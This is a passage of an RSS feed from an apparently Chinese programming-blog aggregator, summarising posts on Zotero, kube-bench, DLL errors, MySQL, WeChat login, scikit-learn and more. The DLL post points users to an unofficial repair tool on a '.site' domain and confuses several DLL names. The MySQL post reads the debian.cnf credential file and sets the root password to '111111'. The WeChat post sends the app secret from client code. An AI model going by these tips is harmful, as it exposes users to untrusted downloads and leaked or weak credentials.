PropType&amp;lt;string[]&amp;gt;, default: [&#34;</description>
    </item>
    <item>
      <title>Zotero使用指南</title>
      <link>https://bchobby.github.io/posts/8c49ed130c414c7e1a3631828062fddc/</link>
      <pubDate>Sun, 05 Nov 2023 20:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c49ed130c414c7e1a3631828062fddc/</guid>
      <description>Zotero使用指南 Zotero是一个免费、易用、可以拓展的，用来帮助收集、组织、引用和分享研究的文献管理软件，可以用来保存参考文献，生成所需参考文献格式，存储、追踪个人过去研究。&#xA;1.下载 下载地址：https://www.zotero.org/&#xA;为了正确使用Zotero，除了Zotero桌面应用程序之外，还需要安装适用于Chrome，Firefox或Safari的连接器（Connector）才行。&#xA;2. 导入资源 直接将需要导入的资源拖入zotero中&#xA;利用Zotero Connector在下载时直接导入（可以一次性导入多篇，也可以导入博客网站）&#xA;利用Zotero的添加条目工具进行添加（如果要一次输入多个标识符，在输入第一个标识符后按 Shift + Enter会进入多行模式，随后输入其余标识符（每行一个），并通过 Enter 换行。输入完成符后，再按 Shift + Enter 即可一次导入所有项目。）&#xA;3. 各类工具作用 3.1 添加标签 选中文献，在右边的工具栏中会出现标签栏，点开添加标签。在左下角可以更改标签的颜色。&#xA;3.2 文件夹 无限添加文件夹，实现文件夹与标签双管理&#xA;3.3 添加笔记 右侧的笔记栏可以添加笔记，以及图片，支持Markdown语法。&#xA;4.数据存储与同步 数据存储文件默认保存在C盘，可以在工具 – 首选项 – 高级 – 文件和文件夹下修改保存的位置。&#xA;同步分为两个部分，一个是「数据同步」，用于同步论文的名字、摘要等信息的，这个是存储在Zotero中的，可以无限量存储。另一个是「文件同步」，主要用于同步论文的PDF文件，但是自带的云服务器只有300M，需要更大的空间就得付费，或者选择保存到坚果云。&#xA;设置坚果云同步空间：&#xA;1.进入坚果云，点击 右上角名字-&amp;gt;账户信息页面-&amp;gt;安全选项&#xA;2.点击添加应用，添加名称后点击生成密码生成随机密码&#xA;3.回到Zotero中，在工具 – 首选项 – 同步下修改同步空间。文件同步选择WebDAV，然后填入对应的信息；&#xA;4.点击验证服务器，验证通过后就设置好坚果云同步空间了。&#xA;5. 引文导出 1.选中需要导出的引文文献，右键点击用所选条目创建参考文献表。&#xA;2.选择目的参考文献格式，导出。&#xA;如果没有找到需要的格式，在编辑-首选项-引用中可以获取更多样式，以及管理引文样式。（个人根据自己情况加入需要的格式）&#xA;6. Zotero插件 Zotero插件安装：点击工具 - 附加组件，进入Zotero插件管理页面，将后缀名为.xpi的插件拉入Zotero中即可完成安装（或者在附加组件里面，点击右上角的设置按钮，选择Install Add-on From File也可进行安装）。安装完成后，所有插件均可以在编辑-首选项中进行相对应的设置。&#xA;插件地址：https://plugins.zotero-chinese.com/#/&#xA;6.1 jasminum 作用：用于识别中文网站，如知网、百度学术等网页中的数据。&#xA;配置：如下图所示。&#xA;6.2 zotero-style（建议安装） 作用：对Zotero进行美化（涵盖了Zotero Tag和Zotero Update IFs），能够显示阅读进度，显示”#“标签，显示影响因子和期刊标签，进行评级。</description>
    </item>
    <item>
      <title>【云原生-K8s】Kubernetes安全组件CIS基准kube-beach安装及使用</title>
      <link>https://bchobby.github.io/posts/d42a861f8739f1ad8d374d529aa72161/</link>
      <pubDate>Sun, 05 Nov 2023 20:11:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d42a861f8739f1ad8d374d529aa72161/</guid>
      <description>基础介绍kube-beach介绍kube-beach 下载百度网盘下载wget下载 kube-beach安装kube-beach使用基础参数配置信息解读示例修复建议修复一个安全漏洞【1.2.18】结果说明 kube-beach跳过漏洞漏洞定义漏洞定义yaml说明漏洞生成为INFO 基础介绍 为了保证集群以及容器应用的安全，Kubernetes 提供了多种安全机制，限制容器的行为，减少容器和集群的攻击面，保证整个系统的安全性。互联网安全中心（CIS，Center for Internet Security），是一个非盈利组织，致力为互联网提供免费的安全防御解决方案官网：https://www.cisecurity.org/k8s安全基准：https://www.cisecurity.org/benchmark/kubernetes kube-beach介绍 Kube-bench是容器安全厂商Aquq推出的工具，以CIS K8s基准作为基础，来检查K8s是否安全部署。主要查找不安全的配置参数、敏感的文件权限、不安全的帐户或公开端口等等。开源地址：https://github.com/aquasecurity/kube-bench二进制包下载地址：https://github.com/aquasecurity/kube-bench/releases大家根据需求下载相应版本&#xA;kube-beach 下载 百度网盘下载 链接：https://pan.baidu.com/s/17AGxkwTDUkiDYSSZpPu45A?pwd=vqew&#xA;提取码：vqew&#xA;–来自百度网盘超级会员V7的分享&#xA;wget下载 wget https://github.com/aquasecurity/kube-bench/releases/download/v0.6.19/kube-bench_0.6.19_linux_amd64.tar.gz kube-beach安装 解压 tar -zxf kube-bench_0.6.19_linux_amd64.tar.gz 创建默认配置路径 mkdir -p /etc/kube-bench 复制配置文件至默认目录 mv cfg /etc/kube-bench/cfg 设置为系统命令 mv kube-bench /usr/bin/ kube-beach使用 基础参数 使用kube-bench run进行测试，该指令有以下常用参数&#xA;–targets 指定要基础测试的目标，默认配置目标包括：master, controlplane, node, etcd, policies&#xA;–version：指定k8s版本，如果未指定会自动检测&#xA;–benchmark：手动指定CIS基准版本，不能与–version一起使用&#xA;查看帮助信息&#xA;kube-bench --help 配置信息解读 在该目录下 /etc/kube-bench/cfg&#xA;该版本默认使用 cis-1.7也支持其他 云厂商的验证基准 【ack-1.0 容器服务 Kubernetes 版 ACK】 示例 检查master组件安全配置 kube-bench run --targets=master 修复建议 修复一个安全漏洞【1.</description>
    </item>
    <item>
      <title>由于找不到msvcr110.dll无法继续执行此代码怎么解决？5个解决方法分享</title>
      <link>https://bchobby.github.io/posts/4c245b2e6deef2a6a3df277af162e0f8/</link>
      <pubDate>Sun, 05 Nov 2023 16:35:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c245b2e6deef2a6a3df277af162e0f8/</guid>
      <description>MSVCP110.dll是Microsoft Visual C++ 2012运行时库的一部分，它包含了许多用于支持C++应用程序运行的函数。当您在运行某些程序时，可能会遇到“msvcp110.dll丢失”的错误提示。为了解决这个问题，您可以尝试以下5种方法：&#xA;方法1. 重新安装Visual C++ 2012运行库&#xA;如果您的计算机上安装了Visual C++ 2012开发工具，那么您可能已经安装了相应的运行库。但是，由于某些原因，这些库可能已损坏或丢失。在这种情况下，您可以尝试重新安装Visual C++ 2012运行库。以下是安装步骤：&#xA;- 访问微软官方网站，下载并安装Visual C++ 2012运行库。&#xA;- 安装完成后，重新启动计算机。&#xA;方法2. dll修复工具（亲测能解决）&#xA;使用dll修复工具非常简单，也是目前能百分百解决问题的方法。以下是操作步骤：&#xA;-下载msvcr120.dll文件修复工具程序可以利用百度等搜索引擎或许在微软官网下载&#xA;或者打开电脑浏览器在浏览器顶部栏目输入：dll修复程序.site【按键盘回车键前往】进入下载修复文件。（亲测有效）&#xA;- 下载完成解压打开，打开工具后，点击“扫描并修复”，等待扫描完成并修复问题。，dll修复工具还可以帮助您修复 电脑其它未知dll 文件丢失问题，并确保应用程序可以正常运行。只需要耐心等待修复完成，提示修复完成重启电脑即能解决dll丢失问题。&#xA;方法3. 从系统文件夹中复制msvcp110.dll文件&#xA;如果您的计算机上没有安装Visual C++ 2012运行库，或者您不想重新安装它，您可以尝试从其他计算机上复制msvcp110.dll文件。以下是操作步骤：&#xA;- 找到一台已安装Visual C++ 2012运行库的计算机。&#xA;- 打开Windows资源管理器，Visual C++ 2012运行库中找到msvcp110.dll文件，将其复制到您的计算机上的相同位置。&#xA;- 重新启动计算机。&#xA;方法4. 创建系统还原点&#xA;如果您在尝试上述方法之前遇到了问题，您可以尝试创建一个系统还原点。这将允许您将计算机恢复到出现问题之前的状态。以下是创建系统还原点的步骤：&#xA;- 单击“开始”按钮，然后输入“系统还原”。&#xA;- 在搜索结果中，单击“创建还原点”。&#xA;- 按照屏幕上的说明创建一个系统还原点。&#xA;- 完成创建后，尝试重新启动计算机。&#xA;方法5. 重新安装出现问题的程序&#xA;如果上述方法都无法解决问题，您可能需要重新安装导致msvcp110.dll丢失的程序。以下是操作步骤：&#xA;- 卸载出现问题的程序。&#xA;- 访问程序的官方网站，下载并安装最新版本的程序。&#xA;- 安装完成后，重新启动计算机。&#xA;总之，msvcp110.dll丢失的问题可能是由多种原因引起的。通过尝试上述方法，您应该能够解决这个问题。如何喜欢本文章，记得关注小编哦</description>
    </item>
    <item>
      <title>SpringBoot浅析</title>
      <link>https://bchobby.github.io/posts/3838d95d8ca29c784686f60bbd623ce1/</link>
      <pubDate>Sun, 05 Nov 2023 14:40:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3838d95d8ca29c784686f60bbd623ce1/</guid>
      <description> 一 、 Spring boot自动装配的原理 从启动类上面的注解@EnableAutoConfiguration追踪&#xA;@EnableAutoConfiguration -&amp;gt; @Import -&amp;gt; AutoConfigurationImportSelector -&amp;gt; getCandidateConfigurations方法 -&amp;gt; getSpringFactoriesLoaderFactoryClass()方法 -&amp;gt; return EnableAutoConfiguration.class -&amp;gt; spring.factories -&amp;gt; org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ 自动装配的目的就是为了从spring.factories文件中获取到对应的bean并交给spring来管理 23 17 </description>
    </item>
    <item>
      <title>Oracle 19c之RPM安装</title>
      <link>https://bchobby.github.io/posts/8cd21202b09e8790eed76d020eb1f44d/</link>
      <pubDate>Sun, 05 Nov 2023 14:19:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cd21202b09e8790eed76d020eb1f44d/</guid>
      <description>19c的RPM包下载链接，&#xA;https://www.oracle.com/database/technologies/oracle19c-linux-downloads.html&#xA;可以看到，19c开始支持企业版本的RPM，容量是2.5GB，&#xA;使用手工方式，通过RPM安装19c数据库，只需要两步操作，&#xA;步骤1：安装oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm&#xA;步骤2：安装oracle-database-ee-19c-1.0-1.x86_64.rpm&#xA;步骤1：安装oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm&#xA;如果OEL平台，只需要执行，&#xA;yum -y install oracle-database-preinstall-19c 如果不是OEL平台，首先要下载对应平台的RPM，我用的是RedHat 7.4，下载链接地址，&#xA;https://yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/index.html&#xA;搜索preinstall-19c，找到，&#xA;第一次执行，未必就可以成功，在我的测试环境，从错误的提示看，少了一些依赖库，&#xA;[root@localhost software]# rpm -ivh oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm warning: oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID ec551f03: NOKEY error: Failed dependencies: compat-libcap1 is needed by oracle-database-preinstall-19c-1.0-1.el7.x86_64 compat-libstdc++-33 is needed by oracle-database-preinstall-19c-1.0-1.el7.x86_64 glibc-devel is needed by oracle-database-preinstall-19c-1.0-1.el7.x86_64 ... 碰见这种情况，一个是可以从操作系统安装文件的Package中找到些库，另一个就是从网上检索安装库，在我的测试中，大部分少的库，都可以从Package中找到，但是compat-libstdc++-33这个并不在。&#xA;根据MOS(2254198.1)的提示，这个包是Oracle Text需要的，如果不用Oracle Text，可以忽略这个包，在RedHat 7的安装包中已经删除了。&#xA;如果不能容忍任何的错误，非得装上，可以到这个链接，下载下来安装，&#xA;http://www.rpmfind.net/linux/rpm2html/search.php?query=compat-libstdc%2B%2B-33(x86-64)&#xA;再次安装，&#xA;[root@localhost software]# rpm -ivh oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm warning: oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID ec551f03: NOKEY Preparing.</description>
    </item>
    <item>
      <title>微信小程序scroll-view设置display:flex后子view宽度设置无效解决</title>
      <link>https://bchobby.github.io/posts/a87520707c289c12ad43de28bc8c5e82/</link>
      <pubDate>Sun, 05 Nov 2023 11:22:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a87520707c289c12ad43de28bc8c5e82/</guid>
      <description>如果scroll-view设置了display:flex，子view设置宽度值无效，宽度值都是随着内容多少而改变：&#xA;效果和wxml：&#xA;css:&#xA;原因：flex布局元素的子元素，自动获得了flex-shrink的属性&#xA;解决办法：&#xA;给子view增加:flex-shrink:0;</description>
    </item>
    <item>
      <title>chatgpt接口调用</title>
      <link>https://bchobby.github.io/posts/c40324c1adedc50d054c26f945ba0340/</link>
      <pubDate>Sun, 05 Nov 2023 09:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c40324c1adedc50d054c26f945ba0340/</guid>
      <description>在线接口文档：&#xA;https://app.apifox.com/invite?token=symrLP7sojF6N31kZqnpZ&#xA;接口地址 https://chat.xutongbao.top/api/light/chat/createChatCompletion&#xA;请求方式 POST&#xA;请求参数 token&#xA;String, 必须&#xA;messages&#xA;Array, 必须&#xA;例子一： 包含上下文 [ { &#34;role&#34;: &#34;user&#34;, &#34;content&#34;: &#34;北京有多少人&#34; }, { &#34;role&#34;: &#34;assistant&#34;, &#34;content&#34;: &#34;根据2021年数据，北京市的人口总数约为 2170 万人。请注意，人口数量可能会随时间变化而有所变动。&#34; }, { &#34;role&#34;: &#34;user&#34;, &#34;content&#34;: &#34;上海呢&#34; } ]&#xA;例子二： [ { &#34;role&#34;: &#34;user&#34;,&#34;content&#34;: &#34;你好&#34;} ]&#xA;model&#xA;String, 可选。&#xA;可选值： “gpt-3.5-turbo-16k” 、 “gpt-4”。 默认值为： “gpt-3.5-turbo-16k”&#xA;params&#xA;Object, 可选&#xA;例子一： 一次提问得到两个答案 { &#34;n&#34;: 2 }&#xA;其他Open AI官方支持的参数可以通过对象格式传递，官方文档：https://platform.openai.com/docs/api-reference/completions/create&#xA;在线文档 Apifox&#xA;请求参数示例 { &#34;model&#34;: &#34;</description>
    </item>
    <item>
      <title>微信小程序授权登录获取用户的openid</title>
      <link>https://bchobby.github.io/posts/262e25000443a72848ee499d0910aa49/</link>
      <pubDate>Sun, 05 Nov 2023 04:51:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/262e25000443a72848ee499d0910aa49/</guid>
      <description>小程序可以通过微信官方提供的登录能力方便地获取微信提供的用户身份标识，快速建立小程序内的用户体系然而因为小程序中的openid不可以直接使用需要用code（登录凭证）去换取openid 获取openid的思路 获取openid首先需要调用小程序的login方法获取小程序的登录凭证code,然后使用code向微信换取登录态信息,包括用户的唯一标识(openid)及本次登录的会话密钥(session_key)&#xA;我这里是用一个点击事件来触发一个函数 wx.getUserProfile 会获取到你的一些信息 比如昵称，头像，性别 info(){ // 推荐使用wx.getUserProfile获取用户信息，开发者每次通过该接口获取用户个人信息均需用户确认，开发者妥善保管用户快速填写的头像昵称，避免重复弹窗 wx.getUserProfile({ desc: &#39;获取用户的信息&#39;,//获取用户的信息 success:(res)=&amp;gt; {//用户成功授权 console.log(&#34;成功&#34;,res) this.setData({ userInfo: res.userInfo, hasUserInfo: true, nickName:res.userInfo.nickName, //获取昵称 touxian:res.userInfo.avatarUrl, 获取头像url sex:res.userInfo.gender //获取性别 }) }, fail:res=&amp;gt;{ console.log(&#34;失败&#34;,res) } }) }, 下图看打印&#xA;wx.login 可以获取到你的code值 wx.login({ //成功放回 success:(res)=&amp;gt;{ console.log(res); let code=res.code } }) 下图看打印&#xA;通过wx.request 来让code换取openid&#xA;这里面需要一段很长的url地址&#xA;https://api.weixin.qq.com/sns/jscode2session?appid=APPID&amp;amp;secret=SECRET&amp;amp;js_code=JSCODE&amp;amp;grant_type=authorization_code 这个地址可以在开发文档=&amp;gt;服务器=&amp;gt;登录中 找到&#xA;不要以为你把这个路径cv上就好了 这段连接中有三处地方需要改动&#xA;（每个人的id都不一样所以你要自己去作修改 下面有修改处的位置）&#xA;wx.request({ /* url: &#39;https://api.weixin.qq.com/sns/jscode2session?appid=&#39; + APPID + &#39;&amp;amp;secret=&#39; + SECRET + &#39;&amp;amp;js_code=&#39; + res.</description>
    </item>
    <item>
      <title>Spring Boot基础 习题【附答案】6</title>
      <link>https://bchobby.github.io/posts/ee1bc708560f97342c76c92a0d253d3d/</link>
      <pubDate>Sat, 04 Nov 2023 23:49:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee1bc708560f97342c76c92a0d253d3d/</guid>
      <description>悄悄感谢一下某位老铁&#xA;一.单选题（共22题,100.0分） 1&#xA;在Spring Data JPA中,如何删除两个实体之间的关联关系?&#xA;A、将相关属性设置为null。B、使用cascade属性将关联关系级联删除。C、使用DELETE语句从数据库中删除关联关系。D、调用removeRelationship方法。 我的答案：A得分： 4.5分&#xA;2&#xA;在双向关联中,为了确保数据一致性,应该采取哪些步骤?&#xA;A、只需在一个方向上更新关联关系即可B、关系的导航方向与数据一致性无关C、可以随意选择关联的导航方向D、需要在两个方向上都正确更新关联关系 我的答案：D得分： 4.5分&#xA;3&#xA;在Spring Data JPA中,@JoinColumn注解用于指定什么?&#xA;A、外键的值B、外键列的名称C、目标实体的名称D、实体属性的名称 我的答案：B得分： 4.5分&#xA;4&#xA;在Spring Data JPA中,如何创建一个新的关联关系?&#xA;A、使用JOIN语句来创建关联关系。B、通过设置相关实体之间的属性来建立联系。C、通过@Relation注解来定义关联关系。D、使用EntityManager的createRelationship方法。 我的答案：B得分： 4.5分&#xA;5&#xA;在Spring Data JPA中,如何创建一个新的关联关系?&#xA;A、使用以下代码片段创建关联关系:employee.setDepartment(department); employeeRepository.save(employee);B、通过调用createRelationship方法来创建关联关系。C、使用JOIN语句来创建关联关系。D、使用自定义SQL查询创建关联关系。 我的答案：A得分： 4.5分&#xA;6&#xA;在Spring Data JPA中,如果要更新两个实体之间的关联关系,应该如何操作?&#xA;A、使用以下代码片段更新关联关系:employee.setDepartment(newDepartment); employeeRepository.save(employee);B、使用merge方法来更新关联关系。C、通过调用updateRelationship方法来更新关联关系。D、创建一个新的关联关系并删除旧的关联关系。 我的答案：A得分： 4.5分&#xA;7&#xA;在Spring Data JPA的多对一关联关系中,@ManyToOne注解通常放在哪一端的实体属性上?&#xA;A、可以在两端都放置B、拥有方(Owning Side)C、被拥有方(Inverse Side)D、无关紧要 我的答案：B得分： 4.5分&#xA;8&#xA;Spring Data JPA中的CascadeType的作用是什么?&#xA;A、用于指定外键的名称。B、用于指定级联操作,例如保存或删除。C、用于指定关联关系的加载策略。D、用于控制事务的传播行为。 我的答案：B得分： 4.5分&#xA;9&#xA;在Spring Data JPA中的双向一对多关联中,哪一端通常使用mappedBy属性?&#xA;A、被拥有方(Inverse Side)。B、双向关联不需要使用mappedBy。C、拥有方(Owning Side)。D、可以在两端都使用。 我的答案：A得分： 4.5分</description>
    </item>
    <item>
      <title>scikit-learn</title>
      <link>https://bchobby.github.io/posts/3483ff058deda3dad41fa7925fab2dac/</link>
      <pubDate>Sat, 04 Nov 2023 22:42:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3483ff058deda3dad41fa7925fab2dac/</guid>
      <description>1. 优缺点 在大家的日常生活中，无论是工作还是学习，scikit-learn都占有举足轻重的地位！先聊聊它的优缺点，让大家有一个整体的认识！&#xA;1.1. 优点 简单易用：scikit-learn提供了一种简单而一致的API，使用户能够轻松地训练、评估和部署各种监督学习模型。丰富的文档和示例：详尽的文档和示例，以帮助用户理解算法和如何使用它们，这降低了学习曲线。广泛的算法支持：包括多种监督学习算法，从传统的线性模型到集成方法和深度学习，满足了各种问题的需求。开源社区支持：强大的开源社区，用户可以获得支持、反馈和贡献新功能和改进。性能优化：库中的算法通常经过高度优化，以提供高性能的计算，特别是在大规模数据集上。数据预处理工具：包括数据预处理、特征工程和特征选择工具，有助于准备和处理数据。交叉验证和模型选择：提供了交叉验证和模型选择工具，有助于选择最佳模型参数，避免过拟合。可扩展性：用户可以轻松地扩展库，自定义评估器、转换器和度量。 1.2. 缺点 有些算法的性能：尽管scikit-learn包括广泛的算法，但某些特殊问题可能需要更专业的库或深度学习框架来实现最佳性能。深度学习支持限制：虽然scikit-learn包括MLP（多层感知机）等神经网络模型，但对于深度学习任务，深度学习框架如TensorFlow和PyTorch可能更适合。自动特征工程：自动特征工程工具有限，复杂的特征工程任务可能需要其他库或手动处理。处理大规模数据集的能力：对于大规模数据集，scikit-learn的性能和内存管理可能存在挑战。不支持序列数据：对于时序数据或自然语言处理任务，需要额外的库和工具。 有了一个整体的认识之后，专门针对监督学习算法，各个举例，给出大家完整可以抛出结果的代码示例来。&#xA;2. 监督学习 线性模型&#xA;线性与二次判别分析&#xA;核脊回归&#xA;支持向量机&#xA;随机梯度下降&#xA;最近邻&#xA;高斯过程&#xA;横向分解&#xA;朴素贝叶斯&#xA;决策树&#xA;组合：梯度增强，随机森林，装袋，投票，堆叠&#xA;多类与多输出算法&#xA;特征选择&#xA;半监督学习&#xA;等张回归&#xA;概率标定&#xA;神经网络模型（监督）&#xA;2.1. 线性回归 线性回归案例中，包括准备数据、构建模型、训练模型、预测、评估和可视化。&#xA;导入所需的库，包括NumPy、Matplotlib以及Scikit-Learn的相关模块。加载波士顿房价数据集，选择平均房间数作为特征（这里仅选取了一个特征用于简化示例）。划分数据集为训练集和测试集，这是为了评估模型的性能。创建并训练线性回归模型，使用训练数据进行拟合。使用模型进行预测，预测测试集中的房屋价格。评估模型性能，计算均方误差（MSE）和决定系数（R^2）。最后，通过可视化，绘制了实际数据点和线性回归模型的拟合线，以便直观地了解模型的性能。 # 导入必要的库 import numpy as np import matplotlib.pyplot as plt from sklearn import datasets from sklearn.linear_model import LinearRegression from sklearn.model_selection import train_test_split from sklearn.metrics import mean_squared_error, r2_score # 加载波士顿房价数据集 boston = datasets.load_boston() # 准备数据 X = boston.</description>
    </item>
    <item>
      <title>Java 正则表达式数字篇</title>
      <link>https://bchobby.github.io/posts/21a54fdfac1758afb13bbd84db082cc0/</link>
      <pubDate>Sat, 04 Nov 2023 17:13:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21a54fdfac1758afb13bbd84db082cc0/</guid>
      <description>如果需要根据特定的规则来表示一组字符串，则用正则表达式。正则表达式可以用字符串来描述规则，并用来匹配字符串&#xA;Java 提供了标准库 java.util.regex ，可以很方便的使用正则表达式。&#xA;如果正则表达式有特殊字符，那就需要用 \ 转义，后续会提到。&#xA;数字 匹配数字 用 \d 可以匹配一位数字，写法是 \\d ,&#xA;String regex1 = &#34;\\d\\d\\d&#34;; System.out.println(&#34;110&#34;.matches(regex1)); // true System.out.println(&#34;119&#34;.matches(regex1)); // true System.out.println(&#34;120&#34;.matches(regex1)); // true System.out.println(&#34;1200&#34;.matches(regex1)); // false System.out.println(&#34;12F&#34;.matches(regex1)); // false 是否是 11 位数字，常用场景是判断手机号，&#xA;String regex2 = &#34;\\d{11}&#34;; System.out.println(&#34;12345678900&#34;.matches(regex2));// true System.out.println(&#34;123456789001&#34;.matches(regex2));// false System.out.println(&#34;1234567890a&#34;.matches(regex2));// false System.out.println(&#34;A2345678900&#34;.matches(regex2));// false 匹配非数字 用 \D 匹配一位非数字，写法是 \\D ，&#xA;String regexD = &#34;\\D\\D&#34;; System.out.println(&#34;66&#34;.matches(regexD));// false System.out.println(&#34;1*&#34;.matches(regexD));// false System.out.println(&#34;1@&#34;.matches(regexD));// false System.out.println(&#34;1#&#34;.matches(regexD));// false System.out.println(&#34;$$&#34;.matches(regexD));// true 匹配0-9的数字 用 [0-9] 可以匹配一位数字，</description>
    </item>
    <item>
      <title>MySQL:ERROR 1698 (28000): Access denied for user ‘root’@’localhost’</title>
      <link>https://bchobby.github.io/posts/daa382fecb125f11386e43bfef579872/</link>
      <pubDate>Sat, 04 Nov 2023 15:43:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daa382fecb125f11386e43bfef579872/</guid>
      <description> 问题描述&#xA;出现场景：这个问题一般出现在刚刚安装完MySQL的时候&#xA;出现原因：由于使用命令sudo apt-get install mysql安装时,并没有提示输入密码,则密码没有初始化,使用root用户登录自然失败.&#xA;具体情况：&#xA;mysql -u root -p Enter password: ERROR 1698 (28000): Access denied for user &#39;root&#39;@&#39;localhost&#39; 解决方法&#xA;思路：既然密码没有初始化，那么直接使用默认密码登录就可以了。&#xA;步骤如下：&#xA;1.使用cat命令查看默认用户名密码。&#xA;sudo cat /etc/mysql/debian.cnf 展示出来的内容：&#xA;2.使用默认用户名密码登录&#xA;mysql -udebian-sys-maint -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. …… mysql&amp;gt; 登录成功。&#xA;3.修改PLUGIN设置（出现这个问题的原因就在这）&#xA;注意，这里是在MySQL登录进去以后，在MySQL命令提示符后面执行如下命令：&#xA;mysql&amp;gt; UPDATE mysql.user SET authentication_string=PASSWORD(&#39;111111&#39;), PLUGIN=&#39;mysql_native_password&#39; WHERE USER=&#39;root&#39;; 设置完成。&#xA;4.重启服务&#xA;/etc/init.d/mysql stop /etc/init.d/mysql start 5.登录&#xA;使用新的密码111111登录数据库：&#xA;mysql -u root -p </description>
    </item>
    <item>
      <title>利用MATLAB创建栅格地图(代码可复制)</title>
      <link>https://bchobby.github.io/posts/bed151df49812a2a038825c6a3155f62/</link>
      <pubDate>Sat, 04 Nov 2023 13:49:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bed151df49812a2a038825c6a3155f62/</guid>
      <description>先做一个声明：文章是由我的个人公众号中的推送直接复制粘贴而来，因此对智能优化算法感兴趣的朋友，可关注我的个人公众号：启发式算法讨论。我会不定期在公众号里分享不同的智能优化算法，经典的，或者是近几年提出的新型智能优化算法，并附MATLAB代码。&#xA;“有不少的同学利用智能优化算法搞路径规划，往往需要创建栅格地图，这里分享两段MATLAB创建栅格地图的代码~”&#xA;路径规划需要环境建模，环境建模的目的是模拟现实场景，将物理空间复刻到抽象空间，建立一个可以并且便于计算机处理的环境模型。环境建模其实质就是将算法需要处理的约束条件与物理环境中的障碍物等进行一一映射，并且使路径搜索的情况可以直观的展示在虚拟场景中。机器人路径规划的重要环节之一就是建立一个环境模型了，方便直观地展现出路径规划的场景和规划结果。&#xA;建立环境模型的基本要求就是计算机便于存储、处理和使用。在路径规划方面最常用的图形学环境建模方法有几何法和栅格法。这里介绍一下栅格法。&#xA;栅格法根据比例和分割要求，将模拟环境进行分割，划分成若干相同的栅格，然后针对每个栅格设置环境参数，根据实际或假设环境，设置其中各个栅格障碍物的情况。栅格法处理的环境模型所得栅格数据结构实际就是一张二维表，因此栅格地图在计算机中是比较容易创建和维护的。由于栅格地图是按照一定的规则划分的，所以很容易将其转移到坐标系下，这样障碍物的位置和可行区域就能更加直观的展示出来，通过行列来显著标识各位置信息。&#xA;栅格法建模的优点：在栅格地图中，每个位置都可由坐标点来确定，该位置状态也可由具体数据来表示。栅格地图很容易于在计算机中进行存储、更新与分析，且该方法已在许多机器人系统中得到了成功应用。&#xA;01&#xA;随机生成 原理其实很简单，随机生成一个01矩阵，1就表示障碍物，指定起点和终点后，画出来就行了。障碍物以概率来生成，这个概率可以自己定义。比如，以0.3的概率随机生成障碍物的40×40的实例，那么在40×40=1600个格子中，有0.3×1600=480个格子是障碍物，画成黑色。&#xA;MATLAB代码如下(可直接复制粘贴)：&#xA;%% 栅格地图创建 %% %% By 后会无期 %% %% 2023.10.24 %% %% 关注微信公众号：启发式算法讨论 %% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% clear clc %% 以&#34;Probability&#34;的概率生成m×n的栅格图障碍物环境 Probability=0.2; % 设置障碍区概率(可自行更改) m=30;n=30; % 设置地图的大小(可自行更改) R=rand(m,n); % 初始化一个m×n的[0,1]之间随机矩阵，用来生成矩阵G G=zeros(m,n); % 初始化一个m×n的零矩阵，后续用来存储地图 for i=1:m for j=1:n if R(i,j)&amp;lt;=0.2 G(i,j)=1; % 1表示障碍物 else G(i,j)=0; % 0表示无障碍 end end end % 规定起点和终点(可自行更改) G(1,1)=0; G(m,n)=0; %% 画栅格地图 figure; axis([0,m,0,n]); for i=1:m for j=1:n % 计算小方框的四个顶点的横、纵坐标 x1=j-1;y1=n-i; x2=j;y2=n-i; x3=j;y3=n-i+1; x4=j-1;y4=n-i+1; % 绘制栅格图 if G(i,j)==1 fill([x1,x2,x3,x4],[y1,y2,y3,y4],[0,0,0]); hold on else fill([x1,x2,x3,x4],[y1,y2,y3,y4],[1,1,1]); hold on end end end % 画起点图标(可自行更改) fill([0,1,1,0],[n-1,n-1,n,n],[1,0,0]); % 画终点图标(可自行更改) fill([m-1,m,m,m-1],[0,0,1,1],[0,0,1]); 比如以0.</description>
    </item>
    <item>
      <title>【RabbitMQ】RabbitMQ 消息的可靠性 —— 生产者和消费者消息的确认，消息的持久化以及消费失败的重试机制</title>
      <link>https://bchobby.github.io/posts/4a89c8a0225febebb018429a9624cc66/</link>
      <pubDate>Sat, 04 Nov 2023 12:41:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a89c8a0225febebb018429a9624cc66/</guid>
